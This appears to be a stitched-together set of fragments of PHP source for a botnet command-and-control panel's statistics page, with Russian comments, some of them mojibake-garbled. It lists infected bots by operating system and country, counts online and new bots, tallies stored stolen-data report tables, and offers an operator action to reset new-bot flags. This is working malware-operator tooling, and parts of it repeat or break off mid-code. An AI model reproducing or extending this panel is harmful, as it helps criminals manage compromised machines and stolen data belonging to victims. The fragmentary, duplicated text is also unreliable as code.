die; } define('OSLIST_WIDTH', 500); //Ширина колонки define('STAT_WIDTH', '1%'); //Ширина колонки статистики. //Текущий ботнет. define('CURRENT_BOTNET', !empty($_GET['botnet']) ? $_GET['botnet'] : ''); /////////////////////////////////////////////////////////////////////////////////////////////////// // Вывод общей информации. /////////////////////////////////////////////////////////////////////////////////////////////////// //Получем список OC. $osList = ''; $query = CURRENT_BOTNET == '' ? '' : 'WHERE `botnet`=\'' . addslashes(CURRENT_BOTNET) . '\' '; if (($r = mysqlQueryEx('botnet_list', "SELECT `os_version`, COUNT(`os_version`) FROM `botnet_list` {$query}GROUP BY `os_version`")) && mysql_affected_rows() > 0) { $list = array(); while ($mt = @mysql_fetch_row($r)) { @($list[osDataToString($mt[0])] += $mt[1]); } arsort($list); $i = 0; foreach ($list as $name => $count) { $osList .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($name)), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($count)), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END; $i++; } } else { $osList .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, $r ? LNG_STATS_OSLIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END; } ThemeBegin(LNG_STATS, 0, 0, 0); echo str_replace('{WIDTH}', OSLIST_WIDTH . 'px', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_TOTAL_INFO . THEME_STRING_SPACE . botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . $osList . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END; ThemeEnd();
if ($mt = @mysql_fetch_row(mysqlQueryEx($table, "SELECT COUNT(*) FROM `{$table}`"))) { $reportsCount += $mt[0]; } } $output .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_REPORTS), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($reportsCount)), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END; $i++; } $output .= getBotnetStats('', $i) . THEME_LIST_END . THEME_STRING_NEWLINE; ////////////////////////////////////////////////// / / /////////////////////////////////////////////// // R'S <RІRѕRґ ReRЅS "RѕSЂRјR ° C † ReRe RѕR ± C RμRєSѓS RμRј ‰ P ± RѕS, RЅRμS, Rμ. ////////////////////////////////////////////////// / / /////////////////////////////////////////////// $actionList = ''; if (!empty($userData['r_stats_main_reset'])) { $actionList = str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_BOTNET_ACTIONS . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_STATS_RESET_NEWBOTS, ' onclick="if(confirm(\'' . addJsSlashes(LNG_STATS_RESET_NEWBOTS_Q) . '\'))window.location=\'' . QUERY_STRING_HTML . '&reset_newbots&botnet=' . addJsSlashes(urlencode(CURRENT_BOTNET)) . '\';"'), THEME_DIALOG_ITEM_ACTION)), THEME_DIALOG_TITLE); } $output .= str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_BOTNET . THEME_STRING_SPACE . botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE) . $actionList; //RЎR ± RѕSЂ SЃS, P ° C ReSЃS, ReRєRe RґR "SЏ RєRѕRЅRєSЂRμS, RЅRѕRіRѕ P ± RѕS, RЅRμS, P °. if (CURRENT_BOTNET != '') { $output .= THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . getBotnetStats(CURRENT_BOTNET, 0) . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END; } //R'S <RІRѕRґ SЃRїReSЃRєR ° SЃS, SЂR ° RЅ. $commonQuery = CURRENT_BOTNET != '' ? ' AND botnet=\'' . addslashes(CURRENT_BOTNET) . '\'' : ''; $output .= THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . listCountries(LNG_STATS_COLUMN_NEWBOTS, '`flag_new`=1' . $commonQuery) . THEME_DIALOG_ITEM_CHILD_END . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . listCountries(LNG_STATS_COLUMN_ONLINEBOTS, '`rtime_last`>=\'' . (CURRENT_TIME - $config['botnet_timeout']) . '\'' . $commonQuery) . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END; ThemeBegin(LNG_STATS, 0, 0, 0); echo $output; ThemeEnd(); ////////////////////////////////////////////////// / / /////////////////////////////////////////////// // P ¤ † SѓRЅRєS ReRe. ////////////////////////////////////////////////// / / /////////////////////////////////////////////// /* Создание информации по ботнету.
str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($name)), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1). str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($count)), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1). THEME_LIST_ROW_END; $i++; } } //Ошибка. else { $osList .= THEME_LIST_ROW_BEGIN. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, $r ? LNG_STATS_OSLIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1). THEME_LIST_ROW_END; } */ ThemeBegin(LNG_STATS, 0, 0, 0); $menuos = '<select id="otsos" class="sexy_list" name="sos" size="1">'; $selected = ''; if ($sos == 1) { $selected = ' selected="selected"'; } $menuos .= '<option value="1" ' . $selected . '>Country</option>'; $selected = ''; if ($sos == 2) { $selected = ' selected="selected"'; } $menuos .= '<option value="2" ' . $selected . '>OS version</option>'; $menuos .= '</select>'; echo str_replace('{WIDTH}', OSLIST_WIDTH . 'px', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, $menuos . THEME_STRING_SPACE . botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . '<img src="' . $sbotnet . '" />' . str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . THEME_LIST_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END; ThemeEnd();